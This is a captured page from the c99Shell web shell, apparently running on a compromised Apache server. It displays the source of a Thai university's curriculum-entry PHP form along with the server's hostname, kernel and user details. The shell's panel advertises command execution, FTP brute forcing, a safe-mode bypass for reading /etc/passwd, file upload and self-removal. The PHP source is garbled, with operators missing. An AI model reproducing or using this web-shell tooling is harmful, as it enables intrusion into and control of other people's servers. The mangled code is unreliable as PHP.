!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addCurriculum.php (14.5 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$curId 
"";
$curImproveY "";
$curName "";
$curNameE "";
$curAbbr "";
$curAbbrE "";
$curDescription "";
$curDescriptionE "";
$curMinCredit "";
$curMinGPAX "";
$curNumStudyY "";
$curMaxStudyY "";
$curNumTmPerY "";
$curStatus "";
$curCcId "";
$curEdgId "";
$curElvId "";
$curGtpId "";

if(
$qu_cur->num_rows() > 0) {
    
$row $qu_cur->row();
    
$curId $row->curId;
    
$curImproveY $row->curImproveY;
    
$curName $row->curName;
    
$curNameE $row->curNameE;
    
$curAbbr $row->curAbbr;
    
$curAbbrE $row->curAbbrE;
    
$curDescription $row->curDescription;
    
$curDescriptionE $row->curDescriptionE;
    
$curMinCredit $row->curMinCredit;
    
$curMinGPAX $row->curMinGPAX;
    
$curNumStudyY $row->curNumStudyY;
    
$curMaxStudyY $row->curMaxStudyY;
    
$curNumTmPerY $row->curNumTmPerY;
    
$curStatus $row->curStatus;
    
$curCcId $row->curCcId;
    
$curEdgId $row->curEdgId;
    
$curElvId $row->curElvId;
    
$curGtpId $row->curGtpId;
}

$row_edg = isset($qu_edg) ? $qu_edg->row() : NULL;
$row_lv = isset($qu_lv) ? $qu_lv->row() : NULL;
$row_gtp = isset($qu_gtp) ? $qu_gtp->row() : NULL;
$row_cc = isset($qu_cc) ? $qu_cc->row() : NULL;

if (
$pbri) {
?>
<script>
    var lv1_cd = <?echo $lv1_credit;?>;
    $(document).ready(function(){
        $("#myform").submit(function() {
            if(parseInt($('#curMinCredit').val())<lv1_cd){
                $('#curMinCredit').focus();
                $('#curMinCredit').select();
                alert("ไม่สามารถบันทึกได้ เนื่องจากในโครงสร้างหลักสูตรได้ใช้ไปแล้ว "+lv1_cd+" หน่วยกิต");
                return false;
            }
        });
    });
</script>
<?}?>
<table width="100%" align="center">
    <tr>
        <td><div align="center"><?php echo form_open($this->config->item("rg_folder").$action, array('id' => 'myform''name' => 'myform'));?><table width="100%">
                <tr>
                    <td align="center"><span class="h error">บันทึกหลักสูตรใหม่</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table width="100%" class="szone">
<?php
                        
if ($pbri) {
?>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ปีที่ปรับปรุงหลักสูตร&nbsp;&nbsp;(พ.ศ.)</td>
                            <td colspan="3"><input type="text" name="curImproveY" id="curImproveY" value="<?php echo (set_value('curImproveY')=="") ? $curImproveY set_value('curImproveY');?>" size="5" maxlength="4" class="required-int" />
                            <span class='error'>* <?php echo form_error("curImproveY");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">วุฒิการศึกษา</td>
                            <td colspan="3"><select name="curEdgId" class="required">
                                <option value=""></option>
<?php
                                
foreach($rs_edg->result() as $row) {
?>
                                <option value="<?php echo $row->edgId;?><?php echo ($row->edgId==$curEdgId) ? "selected=\"selected\"" "";//$this->validation->set_select('curEdgId',$row->edgId);?>><?php echo explodeSquare($row->edgName." (".$row->edgNameE.")");?></option>
<?php
                                
}
?>
                            </select>
                            <span class="error">* <?php echo form_error("curEdgId");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ระดับการศึกษา</td>
                            <td colspan="3"><select name="curElvId" class="required">
                                <option value=""></option>
<?php
                                
if($rs_lv && $rs_lv->num_rows()) {
                                foreach(
$rs_lv->result() as $row) {
?>
                                <option value="<?php echo $row->levelId;?><?php echo ($row->levelId==$curElvId) ? "selected=\"selected\"" "";//$this->validation->set_select('curElvId',$row->levelId);?>><?php echo explodeSquare($row->levelName);?></option>
<?php
                                
}
                                }
?>
                            </select>
                            <span class="error">* <?php echo form_error("curElvId");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ชื่อหลักสูตร (ไทย)</td>
                            <td colspan="3"><input type="text" name="curName" id="curName" value="<?php echo explodeSquare((set_value('curName')=="") ? $curName set_value('curName'));?>" size="70" class="required-thai" />
                            <span class="error">* <?php echo form_error("curName");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ชื่อหลักสูตร (อังกฤษ)</td>
                            <td colspan="3"><input type="text" name="curNameE" id="curNameE" value="<?php echo explodeSquare((set_value('curNameE')=="") ? $curNameE set_value('curNameE'));?>" size="70" class="required-eng" />
                            <span class="error">* <?php echo form_error("curNameE");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ชื่อย่อหลักสูตร (ไทย)</td>
                            <td><input type="text" name="curAbbr" id="curAbbr" value="<?php echo (set_value('curAbbr')=="") ? $curAbbr set_value('curAbbr');?>" size="10" class="required-thai" />
                            <span class="error">* <?php echo form_error("curAbbr");?></span></td>
                            <td class="coltd_szone2">ชื่อย่อหลักสูตร (อังกฤษ)</td>
                            <td><input type="text" name="curAbbrE" id="curAbbrE" value="<?php echo (set_value('curAbbrE')=="") ? $curAbbrE set_value('curAbbrE');?>" size="10" class="required-eng" />
                            <span class="error">* <?php echo form_error("curAbbrE");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">หน่วยกิตรวมขั้นต่ำ</td>
                            <td><input type="text" name="curMinCredit" id="curMinCredit" value="<?php echo (set_value('curMinCredit')=="") ? $curMinCredit set_value('curMinCredit');?>" size="3" class="required-int" />
                            <span class="error">* <?php echo form_error("curMinCredit");?></span></td>
                            <td class="coltd_szone2">คะแนนเฉลี่ยสะสมตลอดหลักสูตร</td>
                            <td><input type="text" name="curMinGPAX" id="curMinGPAX" value="<?php echo (set_value('curMinGPAX')=="") ? $curMinGPAX set_value('curMinGPAX');?>" size="4" class="required-float" />
                            <span class="error">* <?php echo form_error("curMinGPAX");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">รูปแบบเกรด</td>
                            <td colspan="3">
                            <?if(isset($cpub) and $cpub=='Y'){ 
                                foreach(
$rs_gt->result() as $row) {
                                    echo (
$row->gtpId==$curGtpId) ? $row->gtpName "";
                                    echo (
$row->gtpId==$curGtpId) ? "<input type=\"hidden\" value=\"$row->gtpId\" name=\"curGtpId\" id=\"curGtpId\">" "";
                                }
                            
?>

                            <?}else{?>
                                <select name="curGtpId" class="required">
                                <option value=""></option>
<?php
                                
foreach($rs_gt->result() as $row) {
?>
                                <option value="<?php echo $row->gtpId;?><?php echo ($row->gtpId==$curGtpId) ? "selected=\"selected\"" "";//$this->validation->set_select('curGtpId',$row->gtpId);?>><?php echo $row->gtpName;?></option>
<?php
                                
}
?>
                                </select>
                                <span class="error">* <?php echo form_error("curGtpId");?></span>
                            <?}?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">สาระสำคัญของหลักสูตร (ไทย)</td>
                            <td colspan="3"><textarea name="curDescription" id="curDescription" cols="60%" rows="5" class="required-thai"><?php echo (set_value('curDescription')=="") ? $curDescription set_value("curDescription");?></textarea><span class="error"></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">สาระสำคัญของหลักสูตร (อังกฤษ)</td>
                            <td colspan="3"><textarea name="curDescriptionE" id="curDescriptionE" cols="60%" rows="5" class="required-eng"><?php echo (set_value('curDescriptionE')=="") ? $curDescriptionE set_value("curDescriptionE");?></textarea><span class="error"></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">จำนวนปีสูงสุดที่เรียนได้</td>
                            <td><input type="text" name="curMaxStudyY" id="curMaxStudyY" value="<?php echo (set_value('curMaxStudyY')=="") ? $curMaxStudyY set_value('curMaxStudyY');?>" size="1" class="required-int" />
                            <span class="error">* <?php echo form_error("curMaxStudyY");?></span></td>
                            <td class="coltd_szone2">จำนวนปีเรียนตามปกติ</td>
                            <td><input type="text" name="curNumStudyY" id="curNumStudyY" value="<?php echo (set_value('curNumStudyY')=="") ? $curNumStudyY set_value('curNumStudyY');?>" size="1" class="required-int" />
                            <span class="error">* <?php echo form_error("curNumStudyY");?></span></td>
                        </tr>
                        <tr  bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">จำนวนภาคการศึกษาต่อปี</td>
                            <td colspan="3"><input type="text" name="curNumTmPerY" id="curNumTmPerY" value="<?php echo (set_value('curNumTmPerY')=="") ? $curNumTmPerY set_value('curNumTmPerY');?>" size="1" class="required-int" />
                            <span class="error">* <?php echo form_error("curNumTmPerY");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ประเภทบัณฑิตผู้สำเร็จการศึกษา</td>
                            <td colspan="3"><select name="curCcId" class="required">
                                <option value=""></option>
<?php
                                
foreach($rs_cc->result() as $row) {
?>
                                <option value="<?php echo $row->ccId;?><?php echo ($row->ccId==$curCcId) ? "selected=\"selected\"" "";//$this->validation->set_select('curCcId',$row->ccId);?>><?php echo explodeSquare($row->ccName);?></option>
<?php
                                
}
?>
                            </select>
                            <span class="error">* <?php echo form_error("curCcId");?></span></td>
                        </tr>
<?php
                        
} else {
?>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ปีที่ปรับปรุงหลักสูตร&nbsp;&nbsp;(พ.ศ.)</td>
                            <td colspan="3"><?php echo $curImproveY;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">วุฒิการศึกษา</td>
                            <td colspan="3"><?php echo getval('edgName'$row_edg).' ('.getval('edgNameE'$row_edg).')';?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ระดับการศึกษา</td>
                            <td colspan="3"><?php echo getval('levelName'$row_lv);?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ชื่อหลักสูตร (ไทย)</td>
                            <td colspan="3"><?php echo $curName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ชื่อหลักสูตร (อังกฤษ)</td>
                            <td colspan="3"><?php echo $curNameE;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ชื่อย่อหลักสูตร (ไทย)</td>
                            <td><?php echo $curAbbr;?></td>
                            <td class="coltd_szone2">ชื่อย่อหลักสูตร (อังกฤษ)</td>
                            <td><?php echo $curAbbrE;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">หน่วยกิตรวมขั้นต่ำ</td>
                            <td><?php echo $curMinCredit;?></td>
                            <td class="coltd_szone2">คะแนนเฉลี่ยสะสมตลอดหลักสูตร</td>
                            <td><?php echo $curMinGPAX;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">รูปแบบเกรด</td>
                            <td colspan="3"><?php echo getval('gtpName'$row_gtp);?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">สาระสำคัญของหลักสูตร (ไทย)</td>
                            <td colspan="3"><?php echo $curDescription;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">สาระสำคัญของหลักสูตร (อังกฤษ)</td>
                            <td colspan="3"><?php echo $curDescriptionE;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">จำนวนปีสูงสุดที่เรียนได้</td>
                            <td><?php echo $curMaxStudyY;?></td>
                            <td class="coltd_szone2">จำนวนปีเรียนตามปกติ</td>
                            <td><?php echo $curNumStudyY;?></td>
                        </tr>
                        <tr  bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">จำนวนภาคการศึกษาต่อปี</td>
                            <td colspan="3"><?php echo $curNumTmPerY;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ประเภทบัณฑิตผู้สำเร็จการศึกษา</td>
                            <td colspan="3"><?php echo getval('ccName'$row_cc);?></td>
                        </tr>
<?php
                        
}    // end if pbri
?>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">สถานะหลักสูตร</td>
                            <td colspan="3"><input type="checkbox" name="curStatus" id="curStatus" value="N" <?php echo ($curStatus=='N') ? "checked" "";?> />
                            <font size="2"><label for="curStatus">เลิกใช้งานแล้ว</label></font></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td align="center"><br>
                    <input type="submit" name="add" value="บันทึก" />
                    <input type="reset" name="clear" value="เคลียร์ข้อมูล" />
                    <input type="hidden" name="curId" id="curId" value="<?php echo (set_value('curId')=="") ? $curId set_value('curId');?>" /></td>
                </tr>
            </table><?php echo form_close();?></div>
            <div class="error"><strong>หมายเหตุ : </strong>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</div></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0269 ]--